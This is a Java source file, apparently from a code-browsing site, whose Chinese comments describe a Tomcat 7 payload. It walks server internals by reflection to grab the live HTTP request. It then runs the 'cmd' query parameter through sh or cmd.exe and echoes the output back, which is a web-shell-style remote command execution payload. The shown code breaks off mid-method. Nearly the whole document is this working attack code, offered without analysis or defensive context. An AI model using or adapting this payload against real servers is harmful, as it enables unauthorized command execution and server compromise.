局限 数据大小/tomcat7
| 5 | */ |
| 6 | |
| 7 | public class Alltomcat { |
| 8 | public Alltomcat() { |
| 9 | try{ |
| 10 | //传递命令的参数名 |
| 11 | String pass="cmd"; |
| 12 | //WebappClassLoaderBase |
| 13 | org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); |
| 14 | |
| 15 | //ApplicationContext |
| 16 | org.apache.catalina.Context context=webappClassLoaderBase.getResources().getContext(); |
| 17 | java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context"); |
| 18 | contextField.setAccessible(true); |
| 19 | org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(context); |
| 20 | |
| 21 | //StandardService |
| 22 | java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service"); |
| 23 | serviceField.setAccessible(true); |
| 24 | org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext); |
| 25 | |
| 26 | //Connector |
| 27 | org.apache.catalina.connector.Connector connectors[]=standardService.findConnectors(); |
| 28 | |
| 29 | //筛选Connector |
| 30 | for (int i=0;i<connectors.length;i++) { |
| 31 | if (connectors[i].getScheme().contains("http")) { |
| 32 | |
| 33 | //AbstractProtocol$ConnectoinHandler |
| 34 | org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler(); |
| 35 | java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null); |
| 36 | getHandlerMethod.setAccessible(true); |
| 37 | org.apache.tomcat.util.net.AbstractEndpoint.Handler connectoinHandler= (org.apache.tomcat.util.net.AbstractEndpoint.Handler) getHandlerMethod.invoke(protocolHandler,null); |
| 38 | |
| 39 | //RequestGroupInfo |
| 40 | java.lang.reflect.Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global"); |
| 41 | globalField.setAccessible(true); |
| 42 | org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(connectoinHandler); |
| 43 | |
| 44 | //获取RequestGroupInfo中储存了RequestInfo的processors |
| 45 | java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors"); |
| 46 | processorsField.setAccessible(true); |
| 47 | java.util.List list = (java.util.List) processorsField.get(requestGroupInfo); |
| 48 | |
| 49 | //通过QueryString筛选 |
| 50 | for (int k = 0; k < list.size(); k++) { |
| 51 | org.apache.coyote.RequestInfo requestInfo= (org.apache.coyote.RequestInfo) list.get(k); |
| 52 | if(requestInfo.getCurrentQueryString().contains(pass)){ |
| 53 | |
| 54 | //request |
| 55 | java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req"); |
| 56 | requestField.setAccessible(true); |
| 57 | org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(requestInfo); |
| 58 | org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1); |
| 59 | |
| 60 | //执行命令并回显 |
| 61 | String cmd =request.getParameter(pass); |
| 62 | String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; |
| 63 | java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); |
| 64 | java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a"); |
nothing calls this directly
no outgoing calls
no test coverage detected